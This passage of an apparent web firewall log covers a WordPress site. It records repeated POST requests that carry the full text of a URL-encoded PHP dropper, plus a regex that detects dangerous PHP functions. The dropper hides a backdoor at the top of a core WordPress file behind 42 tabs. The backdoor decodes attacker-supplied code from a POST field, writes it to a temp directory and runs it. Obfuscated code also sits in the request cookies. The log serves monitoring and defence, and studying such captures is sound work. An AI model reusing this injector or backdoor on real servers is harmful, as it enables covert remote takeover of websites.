%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo00vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:4084\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\noM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx66lg%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66lg%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520while%2528%2524b%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524b%255D%2529%2520%255E%252027%2529%253B%2524b%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pgrp%2520%253D%25200%253B%2520do%2520%257B%2520%2524mrk%2520%253D%2520%2524entry%255B%2524pgrp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524pgrp%2520%253E%253D%2520count%2528%2524entry%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524mrk%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524element%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524mrk%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524pgrp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:56:10","101.100.3.213","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx66lg%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66lg%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520while%2528%2524b%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524b%255D%2529%2520%255E%252027%2529%253B%2524b%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pgrp%2520%253D%25200%253B%2520do%2520%257B%2520%2524mrk%2520%253D%2520%2524entry%255B%2524pgrp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524pgrp%2520%253E%253D%2520count%2528%2524entry%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524mrk%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524element%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524mrk%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524pgrp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD0pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:4084\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nCG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx66lg%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66lg%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520while%2528%2524b%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524b%255D%2529%2520%255E%252027%2529%253B%2524b%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pgrp%2520%253D%25200%253B%2520do%2520%257B%2520%2524mrk%2520%253D%2520%2524entry%255B%2524pgrp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524pgrp%2520%253E%253D%2520count%2528%2524entry%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524mrk%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524element%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524mrk%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524pgrp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:56:13","62.210.185.4","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx66lg%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66lg%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520while%2528%2524b%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524b%255D%2529%2520%255E%252027%2529%253B%2524b%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pgrp%2520%253D%25200%253B%2520do%2520%257B%2520%2524mrk%2520%253D%2520%2524entry%255B%2524pgrp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524pgrp%2520%253E%253D%2520count%2528%2524entry%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524mrk%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524element%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524mrk%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524pgrp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoUpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:4084\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nlw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx66lg%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66lg%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520while%2528%2524b%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524b%255D%2529%2520%255E%252027%2529%253B%2524b%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pgrp%2520%253D%25200%253B%2520do%2520%257B%2520%2524mrk%2520%253D%2520%2524entry%255B%2524pgrp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524pgrp%2520%253E%253D%2520count%2528%2524entry%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524mrk%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524element%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524mrk%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524pgrp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:56:15","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx66lg%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66lg%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520while%2528%2524b%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524b%255D%2529%2520%255E%252027%2529%253B%2524b%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pgrp%2520%253D%25200%253B%2520do%2520%257B%2520%2524mrk%2520%253D%2520%2524entry%255B%2524pgrp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524pgrp%2520%253E%253D%2520count%2528%2524entry%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524mrk%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524element%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524mrk%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524pgrp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMR4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:4084\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 